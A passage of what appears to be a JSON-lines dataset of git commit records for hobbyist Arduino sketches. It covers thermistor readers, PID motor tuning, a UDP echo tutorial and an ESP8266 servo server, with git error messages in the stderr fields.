{\n\tSerial.begin(9600);\n\tpinMode(WHITE, INPUT);\n\tpinMode(RED, INPUT);\n\tpinMode(ID0, INPUT);\n\tpinMode(ID1, INPUT);\n\tid += digitalRead(ID0);\n\tid += digitalRead(ID1);\n\tSerial.println(\"[Button Box]\");\n\tSerial.print(\"[ID: \");\n\tSerial.print(id);\n\tSerial.println(\"]\");\n}\n\nvoid loop () {\n\twhite = digitalRead(WHITE);\n\tred = digitalRead(RED);\n\tif(white == LOW && white_state == 0) {\n\t\twhite_state = 1;\n\t\ttxButton(BUTTON_WHITE);\n\t\tdelay(200);\n\t}\n\telse if(white == HIGH && white_state == 1) {\n\t\twhite_state = 0;\n\t}\n\tif(red == LOW && red_state == 0) {\n\t\tred_state = 1;\n\t\ttxButton(BUTTON_RED);\n\t\tdelay(200);\n\t}\n\telse if(red == HIGH && red_state == 1) {\n\t\tred_state = 0;\n\t}\n\tdelay(50);\n}\n\nvoid txButton(uint8_t button) {\n\tSerial.print(\"#\"); Serial.print(id); Serial.print(\":\");\n\tSerial.print(button);\n\tSerial.println(\";\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'button_box\/button_box.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1318166889d21f07a53ba0a5f0bc3a371106a3da","subject":"updated heater pins for heat control","message":"updated heater pins for heat control\n","repos":"tylergrreid\/BRIC_II,tylergrreid\/BRIC_II,tylergrreid\/BRIC_II","old_file":"BRIC_II\/BRIC_II.ino","new_file":"BRIC_II\/BRIC_II.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/BRIC_II.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"28db475d7314163231e8e6006f60a458c54cec28","subject":"added thermistor prototype code","message":"added thermistor prototype code\n","repos":"kcgolden\/Arduibq","old_file":"scratch\/thermistor\/thermistor.ino","new_file":"scratch\/thermistor\/thermistor.ino","new_contents":"#include <LiquidCrystal.h>\n#define TP 2 \/\/Trig_pin\nLiquidCrystal lcd(8, 13, 9, 4, 5, 6, 7);\n\nint thermister_temp(int aval) {\n\tdouble R, T;\n\n\t\/\/ These were calculated from the thermister data sheet\n\t\/\/\tA = 2.3067434E-4;\n\t\/\/\tB = 2.3696596E-4;\n\t\/\/\tC = 1.2636414E-7;\n\t\/\/\n\t\/\/ This is the value of the other half of the voltage divider\n\t\/\/\tRknown = 22200;\n\n\t\/\/ Do the log once so as not to do it 4 times in the equation\n\t\/\/\tR = log(((1024\/(double)aval)-1)*(double)22200);\n\tR = log((1 \/ ((1024 \/ (double) aval) - 1)) * (double) 1014000);\n\t\/\/lcd.print(\"A=\"); lcd.print(aval); lcd.print(\" R=\"); lcd.print(R);\n\t\/\/ Compute degrees C\n\tT = (1 \/ ((4.717016E-4) + (1.90988E-4) * R + (9.955908E-8) * R * R * R)) - 273.25;\n\t\/\/ return degrees F\n\treturn ((int) ((T * 9.0) \/ 5.0 + 32.0));\n}\n\nvoid CelsiusToFarenheit(float const tCel, float &tFar) {\n\ttFar = tCel * 1.8 + 32;\n}\nvoid setup() {\n lcd.clear(); \n lcd.begin(16, 2);\n lcd.setCursor(0,0);\n Serial.begin(9600); \/\/ open the serial port at 9600 bps: \n pinMode(TP,OUTPUT); \/\/ set TP output for trigger \n}\n\nvoid loop() {\n unsigned int signal = 0;\n unsigned int pit_temp = 0;\n signal = analogRead(1);\n pit_temp = thermister_temp(signal);\n Serial.print(\"Temp: \");\n Serial.print(pit_temp);\n Serial.print(\", Signal: \");\n Serial.print(signal);\n Serial.println(\"\");\n lcd.setCursor(0,0);\n lcd.print(\"Pit: \");\n lcd.print(pit_temp);\n lcd.print(\"deg\");\n lcd.setCursor(0,1);\n lcd.print(\"Fan: \");\n \n if(pit_temp > 82){\n digitalWrite(TP,HIGH);\n lcd.print(\"ON \");\n }\n else {\n digitalWrite(TP,LOW);\n lcd.print(\"OFF\");\n }\n Serial.println(digitalRead(2));\n delay(1000);\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'scratch\/thermistor\/thermistor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f90192bf56ba1287586983bcc8841d278ca7d57f","subject":"Added SimplePID example for the A-Star controller.","message":"Added SimplePID example for the A-Star controller.\n","repos":"merose\/SimplePID,pryme\/SimplePID","old_file":"examples\/AStarPIDTest\/AStarPIDTest.ino","new_file":"examples\/AStarPIDTest\/AStarPIDTest.ino","new_contents":"\/\/ AStarPIDTest - Test the PID control for an AStar-based robot.\n\/\/\n\/\/ To gather PID tuning data for graphing, put the robot on blocks, then\n\/\/ start this program and open a Serial Monitor. Press S4 to start both\n\/\/ motors, let them come to a steady speed, then press S4 to stop the\n\/\/ motors. Copy the Serial output to a spreadsheet and plot target speed and\n\/\/ current speed versus time. You should see a classic PID controller graph\n\/\/ with some overshoot.\n\n#include <AStar32U4.h>\n#include <EnableInterrupt.h>\n#include <SimplePID.h>\n\n\/\/ Motor parameters. These are based on a Pololu #2285 motor with 48cpr\n\/\/ encoder.\nconst float GEAR_RATIO = 210.59;\nconst float ENCODER_CPR = 12;\n\n\/\/ Number of encoder ticks per revolution of the wheel.\nconst float TICKS_PER_REV = GEAR_RATIO * ENCODER_CPR;\n\n\/\/ Maximum desired motor speed. Pololu #2285 are rated for 130rpm, but we\n\/\/ don't drive them with enough voltage to achieve that.\nconst float MAX_REVS_PER_SEC = 100.0 \/ 60.0;\n\n\/\/ Use 60% of maximum speed for PID tuning.\nconst int PID_TUNING_TICKS_PER_SEC = 0.6 * MAX_REVS_PER_SEC * TICKS_PER_REV;\n\n\/\/ DFRobot Romeo v2 and BLE PIN assignments.\n\nconst int ONBOARD_SWITCH_PIN = A7;\n\n\/\/ Pins for the Pololu motor encoder outputs.\nconst int M1_A = 7;\nconst int M1_B = 11;\nconst int M2_A = 15;\nconst int M2_B = 16;\n\n\/\/ Minimum motor control value. Motor output below this will stall.\nconst int MIN_MOTOR_CMD = 10;\n\n\/\/ Maximum motor control value.\nconst int MAX_MOTOR_CMD = 400;\n\nAStar32U4Motors motors;\n\n\/\/ These objects provide access to the A-Star's on-board\n\/\/ buttons. We will only use buttonA.\nAStar32U4ButtonA buttonA;\nAStar32U4ButtonB buttonB;\nAStar32U4ButtonC buttonC;\n\nenum { NO_BUTTON, BUTTON_A, BUTTON_B, BUTTON_C };\n\nint leftSpeedTarget = 0;\nint rightSpeedTarget = 0;\n\nvolatile long leftTicks;\nvolatile long rightTicks;\n\nlong lastLeftTicks = 0;\nlong lastRightTicks = 0;\n\nint leftMotorCmd = 0;\nint rightMotorCmd = 0;\n\nunsigned long lastLoopTime;\n\nunsigned long lastSwitchTime;\n\nfloat loopTime = 0.0;\n\n\/\/ Ziegler-Nichols tuning. See this Wikipedia article for details:\n\/\/ https:\/\/en.wikipedia.org\/wiki\/PID_controller#Loop_tuning\n\/\/ To tune the controller, set USE_KU_ONLY to 1 and increase Ku\n\/\/ until oscillation occurs, and set Tu to the oscillation period\n\/\/ in seconds. Then set USE_KU_ONLY to zero to use the\n\/\/ Ziegler-Nichols tune. To get a less agressive tune, set LESS_AGGRESSIVE\n\/\/ to 1.\n\n\/\/ Set to 1 to use Ku only, to determine oscillation point.\n#define USE_KU_ONLY 0\n\nconst float Ku = .15;\nconst float Tu = .1142857143;\n\n#define LESS_AGGRESSIVE 0\n\n#if !LESS_AGGRESSIVE\nconst float Kp = 0.6*Ku;\nconst float Ki = 2*Kp\/Tu;\nconst float Kd = Kp*Tu\/8;\n#else\nconst float Kp = 0.2*Ku;\nconst float Ki = 2*Kp\/Tu;\nconst float Kd = Kp*Tu\/3;\n#endif\n\n#if USE_KU_ONLY\nSimplePID leftController = SimplePID(Ku, 0, 0);\nSimplePID rightController = SimplePID(Ku, 0, 0);\n#else\nSimplePID leftController = SimplePID(Kp, Ki, Kd);\nSimplePID rightController = SimplePID(Kp, Ki, Kd);\n#endif\n\n\/\/ Sets up the serial output and the motor control pins, and attaches\n\/\/ interrupt handlers to the pins on which we will read the encoder\n\/\/ phototransistor values.\nvoid setup() {\n Serial.begin(115200);\n delay(3000);\n\n enableInterrupt(M1_A, leftAChange, CHANGE);\n enableInterrupt(M1_B, leftBChange, CHANGE);\n enableInterrupt(M2_A, rightAChange, CHANGE);\n enableInterrupt(M2_B, rightBChange, CHANGE);\n\n Serial.print(\"Time (s)\\tLeft Target\\tLeft Speed\\tLeft Cum Error\\tLeft Motor\");\n Serial.print(\"\\tRight Target\\tRight Speed\\tRight Cum Error\\tRight Motor\");\n Serial.println();\n\n lastLoopTime = micros();\n lastSwitchTime = millis();\n\n leftTicks = rightTicks = 0;\n}\n\n\/\/ Loops forever showing the motor speeds and errors since the last loop,\n\/\/ and adjusts the target speeds depending on whether the user is pressing\n\/\/ switches S2 through S5, as indicated in the code below.\nvoid loop() {\n delay(15);\n\n unsigned long curLoopTime = micros();\n noInterrupts();\n long curLeftTicks = leftTicks;\n long curRightTicks = rightTicks;\n interrupts();\n\n float dt = (curLoopTime - lastLoopTime) \/ 1E6;\n \n float leftSpeed = (curLeftTicks - lastLeftTicks) \/ dt;\n float rightSpeed = (curRightTicks - lastRightTicks) \/ dt;\n\n int leftControl = leftController.getControlValue(leftSpeed, dt);\n leftMotorCmd += min(MAX_MOTOR_CMD, leftControl);\n leftMotorCmd = constrain(leftMotorCmd, -MAX_MOTOR_CMD, MAX_MOTOR_CMD);\n if (leftMotorCmd > 0) {\n leftMotorCmd = max(leftMotorCmd, MIN_MOTOR_CMD);\n }\n \n int rightControl = rightController.getControlValue(rightSpeed, dt);\n rightMotorCmd += min(MAX_MOTOR_CMD, rightControl);\n rightMotorCmd = constrain(rightMotorCmd, -MAX_MOTOR_CMD, MAX_MOTOR_CMD);\n if (rightMotorCmd > 0) {\n rightMotorCmd = max(rightMotorCmd, MIN_MOTOR_CMD);\n }\n\n \/\/ Coast to a stop if target is zero.\n if (leftSpeedTarget == 0) {\n leftMotorCmd = 0;\n }\n if (rightSpeedTarget == 0) {\n rightMotorCmd = 0;\n }\n \n setSpeed(leftMotorCmd, rightMotorCmd);\n\n if (leftSpeedTarget > 0 || leftSpeed > 0 || rightSpeedTarget > 0 || rightSpeed > 0) {\n Serial.print(loopTime, 3);\n Serial.print(\"\\t\");\n Serial.print(leftSpeedTarget);\n Serial.print(\"\\t\");\n Serial.print(leftSpeed);\n Serial.print(\"\\t\");\n Serial.print(leftController.getCumulativeError());\n Serial.print(\"\\t\");\n Serial.print(leftMotorCmd);\n Serial.print(\"\\t\");\n \n Serial.print(rightSpeedTarget);\n Serial.print(\"\\t\");\n Serial.print(rightSpeed);\n Serial.print(\"\\t\");\n Serial.print(rightController.getCumulativeError());\n Serial.print(\"\\t\");\n Serial.print(rightMotorCmd);\n Serial.print(\"\\t\");\n \n Serial.println();\n\n loopTime += dt;\n}\n\n \/\/ Ignore switches for a short time after pressing, to avoid bounce.\n if (curLoopTime - lastSwitchTime > 0.5*1E6) {\n int switchValue = readSwitch();\n if (switchValue > 0) {\n lastSwitchTime = curLoopTime;\n\n switch (switchValue) {\n case BUTTON_A:\n \/\/ Left motor on\/off.\n leftSpeedTarget = (leftSpeedTarget==0 ? PID_TUNING_TICKS_PER_SEC : 0);\n break;\n case BUTTON_B:\n \/\/ Right motor on\/off.\n rightSpeedTarget = (rightSpeedTarget==0 ? PID_TUNING_TICKS_PER_SEC : 0);\n break;\n case BUTTON_C:\n \/\/ Both motors on\/off.\n leftSpeedTarget = (leftSpeedTarget==0 ? PID_TUNING_TICKS_PER_SEC : 0);\n rightSpeedTarget = (rightSpeedTarget==0 ? PID_TUNING_TICKS_PER_SEC : 0);\n break;\n default:\n \/\/ no change in speed\n break;\n }\n\n leftController.setSetPoint(leftSpeedTarget);\n rightController.setSetPoint(rightSpeedTarget);\n } \n }\n\n lastLeftTicks = curLeftTicks;\n lastRightTicks = curRightTicks;\n lastLoopTime = curLoopTime;\n}\n\nvoid waitForSwitch1() {\n while (readSwitch() != 1) {\n \/\/ do nothing\n }\n}\n\nvoid setSpeed(int leftSpeed, int rightSpeed) {\n motors.setSpeeds(leftSpeed, rightSpeed);\n}\n\nvoid leftAChange() {\n if (digitalRead(M1_A) == digitalRead(M1_B)) {\n ++leftTicks;\n } else {\n --leftTicks;\n }\n}\n\nvoid leftBChange() {\n if (digitalRead(M1_A) != digitalRead(M1_B)) {\n ++leftTicks;\n } else {\n --leftTicks;\n }\n}\n\nvoid rightAChange() {\n if (digitalRead(M2_A) != digitalRead(M2_B)) {\n ++rightTicks;\n } else {\n --rightTicks;\n }\n}\n\nvoid rightBChange() {\n if (digitalRead(M2_A) == digitalRead(M2_B)) {\n ++rightTicks;\n } else {\n --rightTicks;\n }\n}\n\nint readSwitch() {\n if (buttonA.getSingleDebouncedRelease()) {\n return BUTTON_A;\n } else if (buttonB.getSingleDebouncedRelease()) {\n return BUTTON_B;\n } else if (buttonC.getSingleDebouncedRelease()) {\n return BUTTON_C;\n } else {\n return 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AStarPIDTest\/AStarPIDTest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"44a8b384fcccb542784f7e1f44671185535b4d1b","subject":"code of photon particle.io","message":"code of photon particle.io\n","repos":"codustry\/cuckoo,codustry\/cuckoo","old_file":"cuckoo_photon.ino","new_file":"cuckoo_photon.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"SparkTime\/SparkTime.h\"\n#include <climits>\n#define bitRead(value, bit) (((value) >> (bit)) & 0x01)\n#define bitSet(value, bit) ((value) |= (1UL << (bit)))\n#define bitClear(value, bit) ((value) &= ~(1UL << (bit)))\n#define bitWrite(value, bit, bitvalue) (bitvalue ? bitSet(value, bit) : bitClear(value, bit))\n#define bit(b) (1UL << (b))\n\n#define PI 3.1415926535897932384626433832795\n#define HALF_PI 1.5707963267948966192313216916398\n#define TWO_PI 6.283185307179586476925286766559\n#define DEG_TO_RAD 0.017453292519943295769236907684886\n#define RAD_TO_DEG 57.295779513082320876798154814105\ntypedef uint16_t word;\n#define abs(x) ((x)>0?(x):-(x))\n#define radians(deg) ((deg)*DEG_TO_RAD)\n#define degrees(rad) ((rad)*RAD_TO_DEG)\n#define sq(x) ((x)*(x))\n\n#define lowByte(w) ((uint8_t) ((w) & 0xff))\n#define highByte(w) ((uint8_t) ((w) >> 8))\nUDP UDPClient;\nSparkTime rtc;\n\nunsigned long currentTime;\nunsigned long lastTime = 0UL;\nString timeStr;\nconst byte numPins = 8;\nbyte pins[] = {0,1,2,3,4,5,6,7};\n\nbool alarmOnceSet = false;\nshort alarmHour = 0;\nshort alarmMinute = 0;\nbool timeOnceSet = false;\nshort lastFPGAState = 0xf;\nbool internetOnceConnected = false;\n\nvoid setup() {\n Particle.publish(\"devStatus\", \"Device ON - Cuckoo MODE\");\n\n \/\/internet time sync\n rtc.begin(&UDPClient, \"north-america.pool.ntp.org\");\n rtc.setTimeZone(6); \/\/ gmt offset\n\n\n\n \/\/set pin D0-D7 to be output\n for(int i=0;i<numPins;i++){\n pinMode(i, OUTPUT);\n }\n\n \/\/set pin A0-A3 to be input\n for(int i=10;i<14;i++){\n pinMode(i, INPUT);\n }\n setIdleStateOnFPGA();\n\n \/\/set debug LED\n pinMode(A4, OUTPUT); \/\/FGPA Programmed?\n pinMode(A5, OUTPUT); \/\/internet?\n\n delay(1000);\n reportState();\n}\n\nvoid loop() {\n if(lastFPGAState != 0xf){\n if(timeOnceSet == true){\n \/\/check if an hour already\n }else{\n setTimeOnFPGA();\n }\n }\n delay(1000*5);\n reportState();\n}\n\nvoid checkInternet(){\n if(internetOnceConnected = WiFi.ready())digitalWrite(A5, HIGH);\n else digitalWrite(A5, LOW);\n}\n\nvoid reportState(){\n checkInternet();\n short state = 0;\n for(int i=0;i<4;i++){\n bitWrite(state, i, digitalRead(10+i));\n }\n digitalWrite(A4,LOW);\n switch (state) {\n case 0: Particle.publish(\"fpgaStatus\", \"normal\"); break;\n case 1: Particle.publish(\"fpgaStatus\", \"never Set Clock\"); break;\n case 2: Particle.publish(\"fpgaStatus\", \"never Set Alarm\"); break;\n case 3: Particle.publish(\"fpgaStatus\", \"ringing\"); break;\n case 0xf: Particle.publish(\"fpgaStatus\", \"fpga is on but unprogramed\"); digitalWrite(A4,HIGH); break;\n default: break;\n }\n lastFPGAState = state ;\n}\n\nvoid setIdleStateOnFPGA(){\n setOpPins(0x0);\n setDataPins(0);\n}\n\nvoid setTimeOnFPGA(){\n Particle.publish(\"debug\", \"run setTimeOnFPGA\");\n currentTime = rtc.now();\n\n short hour = rtc.hour(currentTime);\n short hour_ = hour\/10;\n short hour__ = hour-hour_*10;\n setOpPins(0xe);\n setDataPins(hour__);\n delay(50);\n setOpPins(0xf);\n setDataPins(hour_);\n delay(50);\n\n short min = rtc.minute(currentTime);\n short min_ = min\/10;\n short min__ = min-min_*10;\n setOpPins(0xc);\n setDataPins(min_);\n delay(50);\n setOpPins(0xd);\n setDataPins(min__);\n delay(50);\n\n short second = rtc.second(currentTime);\n short second_ = second\/10;\n short second__ = second-second_*10;\n setOpPins(0xa);\n setDataPins(second_);\n delay(50);\n setOpPins(0xb);\n setDataPins(second__);\n delay(50);\n Particle.publish(\"Debug\", \"Clock is seted at\"+rtc.ISODateString(currentTime));\n}\n\nvoid setAlarmOnFPGA(short hour,short min){\n short hour_ = hour\/10;\n short hour__ = hour-hour_*10;\n setOpPins(0x6);\n setDataPins(hour__);\n delay(5);\n setOpPins(0x7);\n setDataPins(hour_);\n delay(5);\n\n short min_ = min\/10;\n short min__ = min-min_*10;\n setOpPins(0x4);\n setDataPins(min_);\n delay(5);\n setOpPins(0x5);\n setDataPins(min__);\n delay(5);\n\n timeStr = \"\";\n timeStr += rtc.hour12String(currentTime);\n timeStr += \":\";\n timeStr += rtc.minuteString(currentTime);\n timeStr += \":\";\n timeStr += rtc.secondString(currentTime);\n timeStr += \" \";\n timeStr += rtc.AMPMString(currentTime);\n Particle.publish(\"info\", timeStr);\n Particle.publish(\"Debug\", \"Clock is seted at\"+rtc.ISODateString(currentTime)+\" \"+timeStr);\n}\n\n\/*function to set pin D0-D3 to desire byte*\/\nvoid setOpPins(byte data){\n for(int i=0;i<4;i++){\n byte state = bitRead(data, i);\n digitalWrite(pins[i], state);\n }\n}\n\/*function to set pin D4-D7 to desire number*\/\nvoid setDataPins(byte data){\n for(int i=4;i<8;i++){\n byte state = bitRead(data, i);\n digitalWrite(pins[i], state);\n }\n}\n\n\nvoid publishTime(){\n currentTime = rtc.now();\n if (currentTime != lastTime) {\n byte sec = rtc.second(currentTime);\n if (sec == 10) {\n \t\/\/ Build Date String\n \ttimeStr = \"\";\n \ttimeStr += rtc.dayOfWeekString(currentTime);\n \ttimeStr += \", \";\n \ttimeStr += rtc.monthNameString(currentTime);\n \ttimeStr += \" \";\n \ttimeStr += rtc.dayString(currentTime);\n \ttimeStr += \", \";\n \ttimeStr += rtc.yearString(currentTime);\n \tParticle.publish(\"info\", timeStr);\n } else if (sec == 40) {\n \t \/\/ Including current timezone\n \t Particle.publish(\"info\", rtc.ISODateString(currentTime));\n \t \/\/Serial.println(rtc.ISODateString(currentTime));\n } else {\n \t\/\/ Just the time in 12 hour format\n \ttimeStr = \"\";\n \ttimeStr += rtc.hour12String(currentTime);\n \ttimeStr += \":\";\n \ttimeStr += rtc.minuteString(currentTime);\n \ttimeStr += \":\";\n \ttimeStr += rtc.secondString(currentTime);\n \ttimeStr += \" \";\n \ttimeStr += rtc.AMPMString(currentTime);\n \tParticle.publish(\"info\", timeStr);\n }\n lastTime = currentTime;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cuckoo_photon.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"547f0b03233d2b8d2d7fb7ddf61d8c8400e06623","subject":"Update Titan16_3DOF.ino","message":"Update Titan16_3DOF.ino","repos":"wzschoche\/Titan-Rover,wzschoche\/Titan-Rover,wzschoche\/Titan-Rover","old_file":"Robotic Arm\/Titan16_3DOF\/Titan16_3DOF.ino","new_file":"Robotic Arm\/Titan16_3DOF\/Titan16_3DOF.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Robotic' did not match any file(s) known to git\nerror: pathspec 'Arm\/Titan16_3DOF\/Titan16_3DOF.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"35cd3e70b2471d39266a061de7030c09c3ec05aa","subject":"Expand colour bar test from Ucg Graphicstest","message":"Expand colour bar test from Ucg Graphicstest\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Colour-Test-ugc\/Colour-Test-ugc.ino","new_file":"Colour-Test-ugc\/Colour-Test-ugc.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1486744c75286aaa0fb4ea642da618d245efabc5","subject":"Temperature","message":"Temperature\n","repos":"theapi\/denbit,theapi\/denbit","old_file":"examples\/Sensors\/Temperature\/Temperature.ino","new_file":"examples\/Sensors\/Temperature\/Temperature.ino","new_contents":"\/**\n Temperature\n\n The circuit:\n - GND to one end of a 10K resistor(Brown - Black - Orange - Gold)\n - One leg of the thermistor (temperature sensor) to the other end of the resistor\n - 3V3 to the other leg of the thermistor\n - A0 to the point where the thermistor & resitor are connected\n\n (GND) ---- (10k-Resistor) -------|------- (Thermistor) ---- (3V3)\n |\n Analog Pin A0\n\n An image & more info on the setup is at \n https:\/\/github.com\/theapi\/denbit\/blob\/master\/docs\/examples\/Sensors\/Temperature.md\n \n\n To see the serial monitor, click the magnifiying class icon in the top right.\n The serial monitor needs to be listening at \"115200 baud\", \n so set the value in the bottom left to 115200 baud.\n If the wrong value is set, only gibberish will appear on the monitor.\n \n Graphical representation is available using serial plotter (Tools > Serial Plotter menu)\n\n*\/\n\n\/\/ Include the Denbit library.\n#include <Denbit.h>\n\/\/ Initialize the denbit.\nDenbit denbit;\n\n\n\/**\n * The setup function runs once when you press reset.\n *\/\nvoid setup() {\n \/\/ initialize serial communication at 115200 bits per second:\n Serial.begin(115200);\n}\n\n\n\/**\n * Do a bunch of mathmatics on the voltage reading from the sensor.\n * \n * @see http:\/\/playground.arduino.cc\/ComponentLib\/Thermistor2\n *\/\ndouble thermistor(int raw_adc) { \n double temp;\n temp = log(10000.0 * ((1024.0\/raw_adc-1))); \n temp = 1 \/ (0.001129148 + (0.000234125 + (0.0000000876741 * temp * temp ))* temp );\n temp = temp - 273.15; \/\/ Convert Kelvin to Celcius\n \n return temp;\n}\n\n\/**\n * The loop function runs over and over again forever.\n *\/\nvoid loop() {\n \/\/ Read the input on analog A0 pin \n \/\/ and store it in a variable that is large enough to hold it\n double temperature = thermistor(analogRead(A0));\n \n \/\/ print out the value you read:\n Serial.println(temperature);\n delay(100); \/\/ delay in between reads for stability\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Sensors\/Temperature\/Temperature.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"78ae0bd3f30d4a1eeb27d1bb6202e978e52e141b","subject":"New tutorial for UDP Send and Receive added","message":"New tutorial for UDP Send and Receive added\n","repos":"LuisDa\/ArduinoProjects,LuisDa\/ArduinoProjects","old_file":"projects\/tutorials\/UdpSendReceive\/UdpSendReceive.ino","new_file":"projects\/tutorials\/UdpSendReceive\/UdpSendReceive.ino","new_contents":"\/*\n UDPSendReceive.pde:\n This sketch receives UDP message strings, prints them to the serial port\n and sends an \"acknowledge\" string back to the sender\n \n A Processing sketch is included at the end of file that can be used to send \n and received messages for testing with a computer.\n \n created 21 Aug 2010\n by Michael Margolis\n \n Modified 10 Jan 2014 \n by Luis David Lopez-Roberts\n \n This code is in the public domain.\n *\/\n\n\n#include <SPI.h> \/\/ needed for Arduino versions later than 0018\n#include <Ethernet.h>\n#include <EthernetUdp.h> \/\/ UDP library from: bjoern@cs.stanford.edu 12\/30\/2008\n\n\n\/\/ Enter a MAC address and IP address for your controller below.\n\/\/ The IP address will be dependent on your local network:\n \nbyte mac[] = {0x90, 0xA2, 0xDA, 0x0D, 0x6F, 0xA8 }; \/\/Put MAC address of your Ethernet Board\nIPAddress ip(192, 168, 1, 56); \/\/This IP Address will be assigned if DHCP fails (IMPORTANT, you must put an IP within your network's range)\nunsigned int localPort = 8888; \/\/ local port to listen on\n\n\/\/ buffers for receiving and sending data\nchar packetBuffer[UDP_TX_PACKET_MAX_SIZE]; \/\/buffer to hold incoming packet,\nchar ReplyBuffer[] = \"acknowledged\"; \/\/ a string to send back\n\n\/\/ An EthernetUDP instance to let us send and receive packets over UDP\nEthernetUDP Udp;\n\n\/*This function cleans the receiver buffer*\/\nvoid cleanRxBuffer() {\n for (int i = 0; i < UDP_TX_PACKET_MAX_SIZE; i++) {\n packetBuffer[i]=0x00;\n } \n}\n\n\n\/*This function shows, via Serial Monitor, the local IP Address*\/\nvoid printLocalIp() { \n Serial.print(\"My IP address: \");\n for (byte thisByte = 0; thisByte < 4; thisByte++) {\n \/\/ print the value of each byte of the IP address:\n Serial.print(Ethernet.localIP()[thisByte], DEC);\n Serial.print(\".\"); \n }\n Serial.println();\n}\n\nvoid setLocalIp() {\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP; assigning fixed IP\");\n Ethernet.begin(mac,ip);\n \/\/ no point in carrying on, so do nothing forevermore:\n for(;;)\n ;\n } \n}\n\nvoid setup() {\n \/\/ start the Ethernet and UDP:\n \/\/Ethernet.begin(mac,ip);\n \/\/ start the Ethernet connection:\n setLocalIp();\n \n Udp.begin(localPort);\n\n Serial.begin(115200);\n}\n\nvoid loop() {\n \/\/ if there's data available, read a packet\n int packetSize = Udp.parsePacket(); \n \n if(packetSize)\n {\n \/\/ We show, via Serial Monitor, the remote IP and UDP port\n Serial.print(\"Received packet of size \");\n Serial.println(packetSize);\n Serial.print(\"From \");\n IPAddress remote = Udp.remoteIP();\n for (int i =0; i < 4; i++)\n {\n Serial.print(remote[i], DEC);\n if (i < 3)\n {\n Serial.print(\".\");\n }\n }\n Serial.print(\", port \");\n Serial.println(Udp.remotePort());\n\n \/\/ read the packet into packetBufffer\n Udp.read(packetBuffer,UDP_TX_PACKET_MAX_SIZE);\n Serial.print(\"Contents: \\\"\");\n Serial.print(packetBuffer);\n Serial.println(\"\\\"\"); \n cleanRxBuffer();\n\n \/\/ send a reply, to the IP address and port that sent us the packet we received\n \/\/delay(500); \/\/If needed, put a small delay before sending reply\n \n Udp.beginPacket(Udp.remoteIP(), Udp.remotePort());\n Udp.write(ReplyBuffer);\n Udp.endPacket();\n }\n \n \/\/ We show periodically, via Serial Monitor, the local IP Address (each 2 seconds).\n printLocalIp();\n delay(2000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'projects\/tutorials\/UdpSendReceive\/UdpSendReceive.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"e2aca60f818e9b5c0b389952525398ea54f131b8","subject":"Added a comment","message":"Added a comment\n","repos":"PhantomGrazzler\/02-Single-DOF-Platform,PhantomGrazzler\/02-Single-DOF-Platform","old_file":"DCMotorSpeedControl\/DCMotorSpeedControl.ino","new_file":"DCMotorSpeedControl\/DCMotorSpeedControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/PhantomGrazzler\/02-Single-DOF-Platform.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"81bac65fb52c44baca235aeeaec1544093fb5342","subject":"\ucf54\ub4dc \uc5c5\ub85c\ub4dc (\uac1c\ubc1c \ubc84\uc804)","message":"\ucf54\ub4dc \uc5c5\ub85c\ub4dc (\uac1c\ubc1c \ubc84\uc804)\n","repos":"SkyLightQP\/RemotePetFood","old_file":"RemotePat.ino","new_file":"RemotePat.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <Servo.h> \n \nServo myservo; \nServo myservo2; \nESP8266WebServer server(80);\nString url = \"https:\/\/raw.githubusercontent.com\/SkyLightQP\/RemotePetFood\/master\/index.html\";\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n myservo.attach(4); \/\/ D2\n myservo2.attach(5); \/\/ D1\n \/\/ \uc5f0\uacb0 \uc644\ub8cc \uae4c\uc9c0 \ub300\uae30\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(WiFi.SSID());\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n if (MDNS.begin(\"esp8266\")) {\n Serial.println(\"MDNS responder started\");\n }\n\n \/\/\uc811\uc18d\ubcc4 \ub3d9\uc791 